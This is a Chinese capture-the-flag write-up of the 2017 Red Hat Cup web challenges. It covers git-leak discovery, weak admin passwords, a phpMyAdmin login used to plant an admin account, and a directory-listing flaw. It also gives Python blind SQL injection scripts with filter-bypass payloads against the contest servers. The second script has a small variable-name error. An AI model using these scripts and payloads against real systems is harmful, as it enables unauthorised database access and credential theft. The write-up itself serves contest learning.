Redhat2017_ctf_WEB部分writeup
广东省红帽杯网络安全攻防大赛
比赛网址:http://redhat2017.ichunqiu.com/
比赛大头是pwn/Re,然而队伍没有专门的pwn选手,全程被吊打。web部分也想吐槽下,昨天一度请处腾讯云服务器才做出了web300……(主办方的IP只有腾讯云服务器才能访问…)
web100-刮刮乐
flag隐藏在某个地方
起初以为是隐写,分析了一小会儿感觉不对。从信息泄露着手,利用BBScan扫到git泄露,从而get到flag:
web200-后台
经典后台管理系统,系统建成于2017年,管理员以建成日期作为口令。
从提示看,时间为弱口令,爆破之前试了试昨天的日期20170506,竟然得到了flag。表示这个题出得“好”:
当然,这里验证码存在缺陷,可绕过。出题人的意思估计是要大家去爆破……
web200-PHPMyWIND
这个网站看起来很不错,但可能有bug,请帮忙找出bug。
起初,着手于phpmywind的注入漏洞:
可惜密码解不出来,另外就算解出来也没用,因为貌似有人爆破admin账户,导致这个账户频频被锁。
后来发现存在phpMyAdmin(注意是phpMyAdmin而不是phpmyadmin),存在弱口令用户名密码:phpmywind
进入之后,用phpmyadmin创建一条后台管理数据pmw_admin
,注意密码部分需要二次md5加密:
利用刚刚创建的用户登陆后台:
同时从历史漏洞中找到有后台列目录漏洞:
http://106.75.67.7:3089/admin/upload_filemgr_dir.php?dirname=/
从中找到flag文件:
http://106.75.67.7:3089/flag4ae482cda6e.txt
web300-thinkseeker
背后的代码
这道题花费时间较长,我直接介绍思路吧,不说走过的弯路了。
开始队友就找出了信息泄露,所谓的背后的代码:
http://106.75.117.4:3083/index.php~
<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
foreach($_GET as $key=>$value){
if (is_array($value)){
die("Bad input!");
}
$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
if(preg_match("/".$p."/is",$value)==1){
die("inj code!");
}
}
parse_str($_SERVER['QUERY_STRING']);
if($token==md5("admin")){
$link=@mysql_connect("XXXX","XXXX","XXXX");
mysql_select_db("XXXX",$link);
$sql="select * from user where userid = ".$userid;
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$arr = mysql_fetch_array($query);
if($arr['password'] == $password) {
$sql="select * from info where infoid=".$infoid;
$result=mysql_query($sql);
$arr = mysql_fetch_array($result);
if(empty($arr['content'])){
echo "error sql!";
}else{
echo $arr['content'];
}
}else{
echo "error password!";
}
}else{
echo "error userid!";
}
mysql_close($link);
}else{
echo "Bad token!";
}
?>
<html>
<head>
<title>web-test</title>
</head>
<body>
<form action="" method="get">
User ID:<input type="text" name="userid" length="50" /><br>
Password:<input type="password" name="password" length="50" /><br>
<input type="submit" value="submit"/>
</form>
</body>
</html>
大概思路应该是绕过盲注,先猜测下password字段长度吧:
http://106.75.117.4:3083//index.php?userid=- 1/**2/or/2/length(password)=32&token=21232f297a57a5a743894a0e4a801fc3
然后利用盲注技巧得到password内容:
#!/usr/bin/env python
# _*_ coding: utf-8 _*_
import requests
payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890')
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate"
}
user = ''
num = 12
strings = ''
for x in range(1,33):
for y in payload:
url = "http://106.75.117.4:3083/index.php?userid=0/**2*/or/**2*/ascii(substr(password/**2*/from/**2*/%d/**2*/for/**2*/1))=%d&password=pass&token=21232f297a57a5a743894a0e4a801fc3" % (x,ord(y))
try:
response = requests.get(url,headers=headers,timeout=5,verify=False)
if response.content.find('error password!') != -1:#
strings = strings + y
num -= 1
#print url
break
except Exception,e:
pass
print 'password is:',
print strings
运行脚本得到password:
219d03ad2d752ad2806ea1de18613158
构造如下链接:
http://106.75.67.7:3083/index.php?userid=1&password=219d03ad2d 752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a8 01fc3&infoid=1
结果还是坑:
看来flag在数据库里边,还需要从infoid字段盲注一次。同样的方法得到flag字段长度为38:
http://106.75.67.7:3083/index.php?userid=1&password=219d03ad2d752ad2806ea1de 18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=- 1/2/or/2/length((select/2/flag/2/from/**2*/flag))=38
更改下上个脚本:
import requests
#payload = list(r'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890@_.{}-')
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate"
}
user = ''
num = 12
strings = ''
for x in range(1,39):
for y in payload:
#strings = strings + y
url = "http://106.75.67.7:3083/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**2*/or/**2*/ascii(substr((select/**2*/flag/**2*/from/**2*/flag)/**2*/from/**2*/%d/**2*/for/**2*/1))=%d" % (x,ord(y))
try:
response = requests.get(url,headers=headers,timeout=5,verify=False)
if response.content.find('flag is in flag!') != -1:#
strings = strings + y
print strings
num -= 1
#print url
break
except Exception,e:
pass
print 'flag: ',
print strings